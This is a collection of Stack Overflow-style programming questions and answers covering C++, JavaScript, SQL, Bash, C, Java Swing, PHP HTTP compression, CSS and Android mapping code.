12832547	0	 <p>This is the very simple method that I am using to convert two individual doubles with a max of 255 to hex (firstNumber and secondNumber):</p> <pre><code>std::string hexCodes = "0123456789abcdef"; std::stringstream finalResult; finalResult &lt;&lt; hexCodes.at(floor(firstNumber/ 16)) &lt;&lt; hexCodes.at(firstNumber- (16 * (floor(firstNumber/ 16)))); finalResult &lt;&lt; hexCodes.at(floor(secondNumber/ 16)) &lt;&lt; hexCodes.at(secondNumber- (16 * (floor(secondNumber/ 16)))); std::string finalString = finalResult.str(); </code></pre> <p>I am not very good at writing code and after trawling google for a result to this problem I didn't find any solutions, so wrote this and it works...so far </p>
39148887	0	 <p>browserify needs an absolute path to retrieve the file and it leaves that as the bundle key. The way to fix it is to use the <code>expose</code> option...</p> <p>In your build..</p> <pre><code>var dependencies = [ 'lodash', {file: './test.js', expose: 'test'}, ]; </code></pre> <p>and in app.js...</p> <pre><code>var _ = require('lodash'); var test = require('test'); </code></pre>
38646755	0	 <p>This will match exactly the words "Mac" and "ExchangeWebServices" with anything else between them:</p> <pre><code>\bMac\b.*\bExchangeWebServices\b </code></pre> <p>Regex 101 Example: <a href="https://regex101.com/r/sK2qG1/4" rel="nofollow">https://regex101.com/r/sK2qG1/4</a></p>
15447942	0	 <p>Here's a category on <code>UIImageView</code> that you can use to introspect the bounds of the displayed image based on the <code>UIViewContentMode</code> set on the image view:</p> <pre><code>@implementation UIImageView (JRAdditions) - (CGRect)displayedImageBounds { UIImage *image = [self image]; if(self.contentMode != UIViewContentModeScaleAspectFit || !image) return CGRectInfinite; CGFloat boundsWidth = [self bounds].size.width, boundsHeight = [self bounds].size.height; CGSize imageSize = [image size]; CGFloat imageRatio = imageSize.width / imageSize.height; CGFloat viewRatio = boundsWidth / boundsHeight; if(imageRatio &lt; viewRatio) { CGFloat scale = boundsHeight / imageSize.height; CGFloat width = scale * imageSize.width; CGFloat topLeftX = (boundsWidth - width) * 0.5; return CGRectMake(topLeftX, 0, width, boundsHeight); } CGFloat scale = boundsWidth / imageSize.width; CGFloat height = scale * imageSize.height; CGFloat topLeftY = (boundsHeight - height) * 0.5; return CGRectMake(0, topLeftY, boundsWidth, height); } @end </code></pre>
1752176	0	 <p>Reiterating a few prior posts here (which I'll vote up)...</p> <p>How selective is TypeId? If you only have 5, 10, or even 100 distinct values across your 100M+ rows, the index does nothing for you -- particularly since you're selecting all the rows anyway.</p> <p>I'd suggest creating a column on CHECKSUM(Name) in both tables seems good. Perhaps make this a persisted computed column:</p> <pre><code>CREATE TABLE BioEntity ( BioEntityId int ,Name nvarchar(4000) ,TypeId int ,NameLookup AS checksum(Name) persisted ) </code></pre> <p>and then create an index like so (I'd use clustered, but even nonclustered would help):</p> <pre><code>CREATE clustered INDEX IX_BioEntity__Lookup on BioEntity (NameLookup, TypeId) </code></pre> <p>(Check BOL, there are rules and limitations on building indexes on computed columns that may apply to your environment.)</p> <p>Done on both tables, this should provide a very selective index to support your query if it's revised like this:</p> <pre><code>SELECT EGM.Name, BioEntity.BioEntityId INTO AUX FROM EGM INNER JOIN BioEntity ON EGM.NameLookup = BioEntity.NameLookup and EGM.name = BioEntity.Name and EGM.TypeId = BioEntity.TypeId </code></pre> <p>Depending on many factors it will still run long (not least because you're copying how much data into a new table?) but this should take less than days.</p>
9139214	0	Bash Shell list files using "for" loop <p>I use the following Bash Shell script to list the ".txt" files recursively under the current directory :</p> <pre><code>#!/bin/bash for file in $( find . -type f -name "*.txt" ) do echo $file # Do something else. done </code></pre> <p>However, some of the ".txt" files under the current directory have spaces in their names, e.g. "my testing.txt". The listing becomes corrupted, e.g. "my testing.txt" is listed as</p> <pre><code>my testing.txt </code></pre> <p>It seems that the "for" loop uses "white space" (space, \n etc) to separate the file list but in my case I want to use only "\n" to separate the file list.</p> <p>Is there any way I could modify this script to achieve this purpose. Any idea.</p> <p>Thanks in advance.</p>
34139805	0	 <p>Each pass of the loop is given the value of the record containing the corresponding row of the select result set. So <code>events</code> is not visible inside the loop. In instead use <code>d_cur.position</code> to refer to that column.</p> <p>BTW, as commented to your question, you should really use the <code>lag</code> window function and get rid of the messy loop.</p> <p>As a suggestion check this query:</p> <pre><code>select idx, asset_id, asset_name, previous_name, cont_name, position, evt_time from ( select rank() over (partition by e.asset_id order by e.event_time) as idx, st_distancesphere( e.position, lag(e.position, 1, e.position) over (order by e.event_time) ) &gt;= p_separation_distance as b, t.id as asset_id, t.name as asset_name, lag(c.name, 1) as previous_name, c.name as cont_name, e.position, e.event_time as evt_time from events e inner join assets tags on t.id = e.asset_id inner join assets c on c.id = e.container_asset_id where e.event_time &gt;= p_since_date and e.event_time &lt;= p_before_date ) s where b </code></pre>
38384837	0	Binary Search Tree node deletion error <p>I've created my binary search tree and gave the pointer to the node which I want to delete into my <code>*p</code>. </p> <p>The delete method is supposed to be deleting the node which is pointed at by <code>*p</code> and should add the subtrees with <code>addtree</code> to my root. <code>*pBaum</code> is the pointer which points to my root.</p> <p>However im getting an error message called "conflict types" on <code>addtree</code> everytime I declare </p> <pre><code>Baum = addtree(Baum, p-&gt;right); </code></pre> <p>I also get a warning "assignment makes pointer from integer without a cast"</p> <p>My struct contains left &amp; right pointer to the subtrees and a pointer to the content.</p> <pre><code>struct tnode { int content; struct tnode *left; /* linker Teilbaum */ struct tnode *right; /* rechter Teilbaum */ }; // Deletes the node where *p is pointing at struct tnode *deletenode(struct tnode *p, struct tnode *pBaum) { struct tnode *Baum = pBaum; if ((p-&gt;left == NULL) &amp;&amp; (p-&gt;right == NULL)) { free(p); } if ((p-&gt;left == NULL) &amp;&amp; (p-&gt;right != NULL)) { Baum = addtree(Baum, p-&gt;right); free(p); } if ((p-&gt;right == NULL) &amp;&amp; (p-&gt;left !=NULL)) { Baum = addtree(Baum, p-&gt;left); free(p); } if ((p-&gt;left != NULL) &amp;&amp; (p-&gt;right !=NULL)) { Baum = addtree(Baum, p-&gt;right); Baum = addtree(Baum, p-&gt;left); free(p); } return Baum; } // Adds the Subtrees to my root struct tnode *addtree(struct tnode *top, struct tnode *p) { if (p == NULL) return top; else return addtree(addtree(addelement(top, p-&gt;content),p-&gt; right), p-&gt;left); // Adds a node to my Tree struct tnode *addelement(struct tnode *p, int i) { int cond; if (p == NULL) { p = talloc(); /* make a new node */ p-&gt;content = i; p-&gt;left =p-&gt;right =NULL; } else if (p-&gt;content == i) { return p; } else if (i &lt; p-&gt;content) /* goes into left subtree */ p-&gt;left =addelement(p-&gt;left, i); else /* goes into right subtree */ p-&gt;right = addelement(p-&gt;right, i); return p; } // Looks for the node which is supposed to get deleted and returns a pointer to it struct tnode *searchnode(struct tnode *p, int nodtodelete) { if (p == NULL) { printf("Baum ist leer oder Element nicht vorhanden \n"); return NULL; } if ( p -&gt; content == nodtodelete) { return p; } if (p-&gt;content &lt; nodtodelete) { return searchnode (p-&gt;right, nodtodelete); } if (p-&gt;content &gt; nodtodelete) { return searchnode(p-&gt;left, nodtodelete); } } } int main() { struct tnode *Baum = NULL; struct tnode *tmpPos = NULL; Baum = addelement (Baum, 32); Baum = addelement(Baum, 50); Baum = addelement(Baum, 60); tmpPos = searchnode(Baum,50); Baum = deletenode(tmpPos, Baum); } </code></pre>
23666955	0	Adding JButton using loop (for) does nothing <p>I'm trying to add various JButtons to a JPanel using "for" but doesn't work. No compilation or other errors. Buttons just won't appear. </p> <p>A bit of context, I create an ArryList in another class ("GestorFrigo") that gets data from DataBase, this works fine, the array has all the data and there's no problem getting back the data from the array.</p> <p>This is my code: Thanks in advance.</p> <pre><code> import gestor.GestorFrigo; import java.awt.EventQueue; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.MouseListener; import java.util.ArrayList; import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JPanel; import javax.swing.border.EmptyBorder; import javax.swing.JButton; import javax.swing.JScrollBar; @SuppressWarnings("serial") public class VentanaInterior extends JFrame { private JPanel contentPane; private JButton btnPerfiles; private JButton btnAadir; private JButton btnRecetas; private JScrollBar scrollBar; private GestorFrigo frigo; private ArrayList&lt;JButton&gt; botones; private ArrayList&lt;Object&gt; boton; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { VentanaInterior frame = new VentanaInterior(); frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the frame. */ public VentanaInterior() { //Componentes setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setBounds(100, 100, 556, 363); setLocationRelativeTo(null); setTitle("Tu Frigorífico Inteligente"); setIconImage(new ImageIcon(getClass().getResource("img/logo.png")).getImage()); contentPane = new JPanel(); contentPane.setBorder(new EmptyBorder(5, 5, 5, 5)); setContentPane(contentPane); contentPane.setLayout(null); btnPerfiles = new JButton("Perfiles"); btnPerfiles.setBounds(0, 302, 96, 23); contentPane.add(btnPerfiles); btnAadir = new JButton("A\u00F1adir alimento"); btnAadir.setBounds(369, 302, 148, 23); contentPane.add(btnAadir); btnRecetas = new JButton("Recetas"); btnRecetas.setBounds(96, 302, 103, 23); contentPane.add(btnRecetas); scrollBar = new JScrollBar(); scrollBar.setBounds(523, 0, 17, 325); contentPane.add(scrollBar); JButton btnQueso = new JButton(); btnQueso.setBounds(24, 35, 62, 61); contentPane.add(btnQueso); frigo = new GestorFrigo(); //creamos el gestor String imagen = frigo.getArray().get(1).getImagen(); //cogemos la imagen asociada al alimento btnQueso.setIcon(new ImageIcon("src/img/"+imagen)); for(int i=0;i&lt;frigo.getArray().size();i++){ JButton boton = new JButton(); String imagen2 = frigo.getArray().get(i).getImagen(); boton.setIcon(new ImageIcon("src/img/"+imagen2)); contentPane.add(boton); } } } </code></pre>
17488660	0	Difference between serialize and serializeObject jquery <p>I search a lot but didn't find perfect difference between <code>serialize</code> and <code>serializeObject</code> method of jquery.</p> <p>Please help me to understand this.</p>
1729366	0	 <p>If all of the buttons within the control will share the same appearance, why not put the property at the control level and have the property setter propogate any changes to all of the buttons? Also, using 30 individual button controls seems like lot of overhead... have you considered drawing the labels for the days and handling mouse click/hover events to determine when a particular day is clicked? </p>
10327502	0	How to solve a WWW/NonWWW Header Check: FAILED <p>I ran a duplicate checker for my website and got the following message</p> <blockquote> <p>WWW/NonWWW Header Check: FAILED Your site is not returning a 301 redirect from www to non-www or vice versa. This means that Google may cache both versions of your site, causing sitewide duplicate content penalties.</p> </blockquote> <p>Is this something that i should be worried about and if so how should i fix it ?</p>
19881428	0	Google Scripts documentation for Historical Stock Info? <p>I'm working on a google spreadsheet right now. The goal is for it to automatically get a stock open, close and change for a date in the past. </p> <p>Unfortunately, I don't understand the documentation and it doesn't seem to be working out. <a href="https://developers.google.com/apps-script/reference/finance/historical-stock-info" rel="nofollow">Here</a> is the link to the class I have to use, but I don't know how to implement it.</p> <p>Here is the code I have now for current stock data, that works. I spent a long time with the documentation and piecing together bits of code that I found. </p> <pre><code>function stockRun() { var sheet = SpreadsheetApp.getActiveSheet(); var row = 2; while (true) { if (!sheet.getRange(row, 2).getValue()) { var ticker = sheet.getRange(row, 1).getValue(); if (!ticker) break; var stockInfo = FinanceApp.getStockInfo(ticker); sheet.getRange(row, 2).setValue(stockInfo.closeyest); sheet.getRange(row, 3).setValue(stockInfo.priceopen); sheet.getRange(row, 4).setValue(stockInfo.change); sheet.getRange(row, 5).setValue(stockInfo.changepct + "%"); } row++; } } </code></pre> <p>Now that I want historical data, I'm not really sure where to go. I don't understand how I can use the class <a href="https://developers.google.com/apps-script/reference/finance/stock-info-snapshot" rel="nofollow">StockInfoSnapshot[]</a> and use the properties of it.</p> <p>Thanks so much for all your help! I know this must seem so simple, but it's really confusing to me. Once I understand how to use the class I'll be able to work on it and expand my program from there. :)</p>
33921385	0	 <p>The other answer I gave employs the <code>::after</code> <em>pseudo-element</em> and works for inline links on a single line.</p> <p>This answer, for <strong>multi-line links</strong>, uses a similar method, but this time, the <code>::after</code> <em>pseudo-element</em> covers the entire <code>a</code> element (rather than simply being positioned at the bottom of it) and has an alternating repeating background of lines - which ends up looking like one underline for every line in the <code>a</code> element:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>body { width: 400px; background-color: rgba(0, 0, 0, 1); } a { position: relative; display: inline-block; cursor: pointer; font-size: 16px; line-height: 20px; } a:nth-of-type(1) { color: rgba(255,0,0,1); } a:nth-of-type(2) { color: rgba(0,255,0,1); } a:nth-of-type(3) { color: rgba(127,191,255,1); } a::after { content: ""; position: absolute; top: 0; left: 0; z-index: 12; display: block; width: 400px; height: 100px; background: repeating-linear-gradient(to bottom, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0) 19px, currentColor 19px, currentColor 20px); opacity: 0; transition: all 0.4s ease-out; } a:hover::after { opacity: 1; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;a&gt;The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown The quick brown&lt;/a&gt; &lt;a&gt;fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over fox jumps over &lt;/a&gt; &lt;a&gt;the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. the lazy dog. &lt;/a&gt;</code></pre> </div> </div> </p>
34619915	0	Why the data from the site when access via the PHP http stream - not sent in gzip? <p>There is an internal company website .. (accessible only via local network)</p> <p>I need... when accessing this site at _http: // company_syte / some_path / some_file inside of PHP code - data (HTML, which is on this page) transmitted in a compressed format (gzip, deflate, compress ...). Now the data is transmitted without compression ..</p> <p>Although, when I look at this site in any browser (ANY!) - the page is sent by the server in a compressed format (gzip). And when referring to this site via PHP code - I get in the response header - no compression .. I do not understand why??! .. help achieve data compression for handling by PHP.</p> <p>Any other sites (both: local and from internet .. when accessed from within a PHP code context options that are shown below - give their data in a compressed form, if the site can generate compression of the code ..)</p> <p>headers in PHP prepared by stream_get_meta_data (); or get_headers ()</p> <p>That option is the context that I use when opening streams ..</p> <pre><code>define ('STREAM_USER_AGENT', 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0'); // Default context options for streams $def_context_opts = array( 'http'=&gt;array( 'method'=&gt;'GET', //'proxy'=&gt;'internal-proxy.com:80', 'user_agent' =&gt;STREAM_USER_AGENT, 'header'=&gt; //'Content-type: text/html; charset=utf-8'. //'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . 'Accept-Encoding: compress;q=1.0, gzip;q=1.0, deflate;q=0.8, sdch;q=0.5, identity;q=0.5, *;q=0.3' . 'Accept-language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3' . 'Cookie: FastPopSessionRequestNumber=8; platform=pc' . 'Cache-Control: max-age=0 '. //'Connection: keep-alive' . 'DNT: 1' . 'Referer: http://en.wikipedia.org/', 'timeout'=&gt;85, //'request_fulluri' =&gt;true //'max_redirects'=&gt;10 ) ); //Setting up default stream context stream_context_set_default($def_context_opts); </code></pre> <p>That response header, when accessing from within a PHP code using context options that gave above</p> <pre><code>Array ( [0] =&gt; HTTP/1.1 200 OK [1] =&gt; Server: nginx [2] =&gt; Date: Tue, 05 Jan 2016 16:14:59 GMT [3] =&gt; Content-Type: text/html; charset=UTF-8 [4] =&gt; Connection: close [5] =&gt; Set-Cookie: platform=pc; expires=Tue, 10-Jan-2062 08:29:58 GMT; Max-Age=1452096899; path=/ [6] =&gt; Set-Cookie: userSession=msij61yvt3j5ryp8ky8njdlwqfxwubjc; expires=Thu, 07-Jan-2072 08:29:58 GMT; Max-Age=1767370499; path=/ [7] =&gt; Vary: User-Agent [8] =&gt; Rating: RTA-5042-1996-1400-1577-RTA [9] =&gt; Set-Cookie: RNLBSERVERID=ded1714; path=/ ) </code></pre> <p>This response header of this website, when i opened it in my browser (Firefox)</p> <pre><code>HTTP/1.1 200 OK Server: nginx Date: Tue, 05 Jan 2016 13:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Vary: User-Agent Rating: RTA-5042-1996-1400-1577-RTA Content-Encoding: gzip </code></pre> <p>This request header of browser (firefox)</p> <pre><code>GET /document_law/3060771 HTTP/1.1 Host: somehost.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: FastPopSessionRequestNumber=8; platform=pc; _ga=GA1.2.302926937.1425596941; __atuvc=0%7C50%2C4%7C51%2C30%7C52%2C8%7C0%2C2%7C1; local_storage=1; gateway=56469083; gateway_security_key=6dbfca5fe39f71d3c1ab7683b2d0bbc6; expiredEnterModalShown=1; expiredEnterModalShown_security_key=0bddb66fa85f5b04e1965b8789b44432; userSession=1bbjnu3g8k56nhaav1ansdrralaxponn; RNLBSERVERID=ded1683; performance_timing=other; FastPopSessionRequestNumber=3; playlist_reset_playlist=1; _gat=1 Connection: keep-alive Cache-Control: max-age=0 </code></pre> <p>And this is a typical response when accessing via PHP on any other site (both local and internet ..) using the context options that gave upper ..</p> <pre><code>Array ( [0] =&gt; HTTP/1.1 200 OK [1] =&gt; Server: nginx [2] =&gt; Date: Tue, 05 Jan 2016 16:22:56 GMT [3] =&gt; Content-Type: text/html; charset=UTF-8 [4] =&gt; Content-Length: 30523 [5] =&gt; Connection: close [6] =&gt; X-Powered-By: PHP/5.5.30 [7] =&gt; Expires: Thu, 19 Nov 1981 08:52:00 GMT [8] =&gt; Cache-control: private, max-age=0 [9] =&gt; Set-Cookie: xf_session=d71d38dc39f78c932be8763951b9c247; path=/; httponly [10] =&gt; X-Frame-Options: SAMEORIGIN [11] =&gt; Last-Modified: Tue, 05 Jan 2016 16:22:56 GMT [12] =&gt; Content-Encoding: gzip [13] =&gt; Vary: Accept-Encoding ) </code></pre>
18785535	0	 <p>Pick <code>Build Path &gt; Use as Source Folder</code> an apply it to the <code>appContext</code> folder. I believe Eclipse adds an entry in the project's <code>.classpath</code> file, which is in your best interest.</p>
16999624	0	Can I load a new page when someone click on close button on browser? <p>Can I do it? If yes, than how? I tried unonload, but that works only when I click on an url.</p>
7205099	0	Online or offline function PHP <p>I'm working on a "community". And of course I would like to be able to tell if a user is online or offline. </p> <p>I've created so that when you log in a row in my table UPDATE's to 1 (default is 0) and then they're online. And when they log out they're offline. But if they don't press the Log out button, they will be online until they press that button. </p> <p>So what I would like to create is: </p> <ul> <li>After 5 minutes of inactivity the row in my database should UPDATE to 0. </li> </ul> <p>What I'm looking for is how to do this the easiest way. Should I make an mysql_query which UPDATE's the row to 1 every time a page is loaded. Or is there another way to do it? </p>
34646744	0	 <p>The error tells you everything you need to know.</p> <p>You are simply missing a required PHP extension, <code>Mbstring</code>.</p> <p>You either need to install the package or enable it through your <code>php.ini</code> file. </p> <p><strong>php.ini</strong></p> <p>Find this line <code>;extension=php_mbstring.dll</code> and uncomment it by removing the <code>;</code> so it reads <code>extension=php_mbstring.dll</code></p> <p>Or just run <code>php5enmod mbstring</code> if your system allows it</p> <p><strong>Install it</strong></p> <p>In a linux/debian based system it would just be <code>apt-get install libapache2-mod-php5</code>. The package includes the extension as well as everything else you need for Laravel. Considering you have no other errors on install, you likely already have this and just need to enable it in your <code>php.ini</code> file</p>
22161980	0	 <p>If I understood your question right you can use rgba to shade the color.</p> <ul> <li>background-color: rgba(0, 0, 0, 1.5); // darker</li> <li>background-color: rgba(0, 0, 0, 1.0); // normal</li> <li>background-color: rgba(0, 0, 0, 0.5); // lighter</li> </ul> <p><strong>css</strong></p> <pre><code>.table-class { width: 500px; font-size: 15px; } .table-class td { width: 25%; } #owner tr:nth-child(odd) { background-color: rgba(0, 0, 0, 1.2); color: rgba(255, 255, 255, 0.8); } #owner tr:nth-child(even) { background-color: rgba(0, 0, 0, 0.8); color: rgba(255, 255, 255, 1.2); } </code></pre> <p><strong>html</strong></p> <pre><code>&lt;table class="table-class" id="owner"&gt; &lt;tr&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;td&gt;test test&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre> <p><strong>JSFiddle</strong> you can play around with it to see if this is what you need.</p> <p><a href="http://jsfiddle.net/t4J9s/" rel="nofollow">http://jsfiddle.net/t4J9s/</a></p>
10270046	0	 <p>Change</p> <pre><code>noteIT &lt; trackIT-&gt;getNoteList().end() </code></pre> <p>To</p> <pre><code>noteIT != trackIT-&gt;getNoteList().end() </code></pre> <p>Not all iterators support less than / greater than comparisons.</p> <p>If you have c++11 you can use a range-based for loop:</p> <pre><code>for (Note&amp; note : trackIT-&gt;getNoteList()) </code></pre> <p>Or you can use BOOST_FOREACH</p> <pre><code>BOOST_FOREACH (Note&amp; note, trackIT-&gt;getNoteList()) </code></pre>
18563822	0	 <p>Your plan sounds good to me except storing keys inside the keystore. Basically, there is only one keystore instance created for all system-level and third-party apps on the device. After Android 4.0, the keystore is integrated with the unlock screen and it is unlocked when the user unlocked the device. So, if you store your key as a key/value pair inside the keystore, then your key is ready before you open your app. Or, if you store it as key/encrypted(value) pair, then you have to derive the key from the password at run-time and decrypt the encrypted value. But you may end up having two password for unlocking the phone screen and unlocking the key. I probably go with with only one password, i.e. screen unlock password. Since the keystore is mapped to the Process ID, it is only accessed from your app. However, if you are thinking to handle multi-user per phone, then the latter approach may be relevant.</p>
25033613	0	 <pre><code>var printStorageBody = function(){ $("body").html(""); $("&lt;pre&gt;&lt;/pre&gt;").appendTo("body"); $("pre").html("\r\n" + JSON.stringify(localStorage).replace(/","/g , "\r\n").replace("{ ", "").replace(" }","") + "\r\n"); }; </code></pre>
9834769	0	 <p>new class util.java</p> <pre><code>public class Util { private DataBaseHelper dbHelper; private GeoFencApplicationDataset Dataset; private int getId; public static boolean checkConnection(Context mContext) { NetworkInfo info = ((ConnectivityManager) mContext .getSystemService(Context.CONNECTIVITY_SERVICE)) .getActiveNetworkInfo(); if (info == null || !info.isConnected()) { return false; } if (info.isRoaming()) { return true; } return true; } public void DrawPath(Context c, GeoPoint src, GeoPoint dest, int color, MapView mMapView01) { Dataset = (GeoFencApplicationDataset) c.getApplicationContext(); dbHelper = Dataset.getDbHelper(); StringBuilder urlString = new StringBuilder(); urlString.append("http://maps.google.com/maps?f=d&amp;hl=en"); urlString.append("&amp;saddr=");// from urlString.append(Double.toString((double) src.getLatitudeE6() / 1.0E6)); urlString.append(","); urlString .append(Double.toString((double) src.getLongitudeE6() / 1.0E6)); urlString.append("&amp;daddr=");// to urlString .append(Double.toString((double) dest.getLatitudeE6() / 1.0E6)); urlString.append(","); urlString .append(Double.toString((double) dest.getLongitudeE6() / 1.0E6)); urlString.append("&amp;ie=UTF8&amp;0&amp;om=0&amp;output=kml"); Log.d("xxx", "URL=" + urlString.toString()); Document doc = null; HttpURLConnection urlConnection = null; URL url = null; try { url = new URL(urlString.toString()); urlConnection = (HttpURLConnection) url.openConnection(); urlConnection.setRequestMethod("GET"); urlConnection.setDoOutput(true); urlConnection.setDoInput(true); urlConnection.connect(); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); doc = db.parse(urlConnection.getInputStream()); if (doc.getElementsByTagName("GeometryCollection").getLength() &gt; 0) { final String path = doc.getElementsByTagName("GeometryCollection") .item(0).getFirstChild().getFirstChild() .getFirstChild().getNodeValue(); final String[] pairs = path.split(" "); String[] lngLat = pairs[0].split(","); final GeoPoint startGP = new GeoPoint( (int) (Double.parseDouble(lngLat[1]) * 1E6), (int) (Double.parseDouble(lngLat[0]) * 1E6)); mMapView01.getOverlays().add( new PathOverLay(startGP, startGP, 1)); GeoPoint gp1; GeoPoint gp2 = startGP; for (int i = 1; i &lt; pairs.length; i++) { lngLat = pairs[i].split(","); gp1 = gp2; gp2 = new GeoPoint( (int) (Double.parseDouble(lngLat[1]) * 1E6), (int) (Double.parseDouble(lngLat[0]) * 1E6)); mMapView01.getOverlays().add( new PathOverLay(gp1, gp2, 2, color)); if (getId != 0) { dbHelper.insertTempLatLong(lngLat[1], lngLat[0], getId); } Log.d("xxx", "pair:" + pairs[i]); } } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (ParserConfigurationException e) { e.printStackTrace(); } catch (SAXException e) { e.printStackTrace(); } } public double[] getLocation(Context c) { Criteria criteria; String provider; LocationManager locManager = (LocationManager) c .getSystemService(Context.LOCATION_SERVICE); criteria = new Criteria(); criteria.setAccuracy(Criteria.ACCURACY_FINE); criteria.setAccuracy(Criteria.ACCURACY_COARSE); provider = locManager.getBestProvider(criteria, true); double[] loca = new double[2]; // For Latitude &amp; Longitude Location location = locManager.getLastKnownLocation(provider); if (location != null) { loca[0] = location.getLatitude(); loca[1] = location.getLongitude(); } else { loca[0] = 0.0; loca[1] = 0.0; } return loca; } public void setId(int id) { // TODO Auto-generated method stub getId = id; } } </code></pre> <p>new class PathOverLay.java</p> <pre><code>public class PathOverLay extends Overlay { private GeoPoint gp1; private GeoPoint gp2; private int mRadius = 6; private int mode = 0; private int defaultColor; private String text = ""; private Bitmap img = null; public PathOverLay(GeoPoint gp1, GeoPoint gp2, int mode) // GeoPoint is a // int. (6E) { this.gp1 = gp1; this.gp2 = gp2; this.mode = mode; defaultColor = 999; // no defaultColor } public PathOverLay(GeoPoint gp1, GeoPoint gp2, int mode, int defaultColor) { this.gp1 = gp1; this.gp2 = gp2; this.mode = mode; this.defaultColor = defaultColor; } public void setText(String t) { this.text = t; } public void setBitmap(Bitmap bitmap) { this.img = bitmap; } public int getMode() { return mode; } @Override public boolean draw(Canvas canvas, MapView mapView, boolean shadow, long when) { Projection projection = mapView.getProjection(); if (shadow == false) { Paint paint = new Paint(); paint.setAntiAlias(true); Point point = new Point(); projection.toPixels(gp1, point); // mode=1&amp;#65306;start if (mode == 1) { if (defaultColor == 999) paint.setColor(Color.BLUE); else paint.setColor(defaultColor); // RectF oval = new RectF(point.x - mRadius, point.y - mRadius, // point.x + mRadius, point.y + mRadius); RectF oval = new RectF(point.x - mRadius, point.y - mRadius, point.x + mRadius, point.y + mRadius); // start point canvas.drawOval(oval, paint); } // mode=2&amp;#65306;path else if (mode == 2) { if (defaultColor == 999) paint.setColor(Color.RED); else paint.setColor(defaultColor); Point point2 = new Point(); projection.toPixels(gp2, point2); paint.setStrokeWidth(5); paint.setAlpha(70); canvas.drawLine(point.x, point.y, point2.x, point2.y, paint); } /* mode=3&amp;#65306;end */ else if (mode == 3) { /* the last path */ if (defaultColor == 999) paint.setColor(Color.GREEN); else paint.setColor(defaultColor); Point point2 = new Point(); projection.toPixels(gp2, point2); paint.setStrokeWidth(5); paint.setAlpha(120); canvas.drawLine(point.x, point.y, point2.x, point2.y, paint); RectF oval = new RectF(point2.x - mRadius, point2.y - mRadius, point2.x + mRadius, point2.y + mRadius); /* end point */ paint.setAlpha(120); canvas.drawOval(oval, paint); } } return super.draw(canvas, mapView, shadow, when); } // Read more: // http://csie-tw.blogspot.com/2009/06/android-driving-direction-route-path.html#ixzz1hte9kGoi } </code></pre> <p>final call method ... </p> <pre><code>util = new Util(); mapOverlays = mapView.getOverlays(); util = new Util(); util.setId(id); GeoPoint srcGeoPoint = new GeoPoint((int) (destLat * 1E6), (int) (destLong * 1E6)); GeoPoint destGeoPoint = new GeoPoint((int) (srcLat * 1E6), (int) (srcLong * 1E6)); progrDialog = ProgressDialog.show(AddFenceActivity.this, "", "Please Wait..", true); mapView.getOverlays().add( new PathOverLay(srcGeoPoint,destGeoPoint, 2,Color.RED)); util.DrawPath(AddFenceActivity.this, srcGeoPoint, destGeoPoint, Color.RED, mapView); mapView.getController().animateTo(srcGeoPoint); public class MapOverLayItem extends ItemizedOverlay&lt;OverlayItem&gt; { private ArrayList&lt;OverlayItem&gt; mOverlays = new ArrayList&lt;OverlayItem&gt;(); Context mContext; public MapOverLayItem(Drawable defaultMarker) { super(boundCenterBottom(defaultMarker)); // TODO Auto-generated constructor stub } public void addOverlay(OverlayItem overlay) { mOverlays.add(overlay); populate(); } @Override protected OverlayItem createItem(int i) { // TODO Auto-generated method stub return mOverlays.get(i); } @Override public int size() { // TODO Auto-generated method stub return mOverlays.size(); } public MapOverLayItem(Drawable defaultMarker, Context context) { super(defaultMarker); mContext = context; } } </code></pre>
5328972	0	 <p>Why don't you add null validation for password before calling ValidateCredentials? On a side note, client side authentication might help as well.</p>
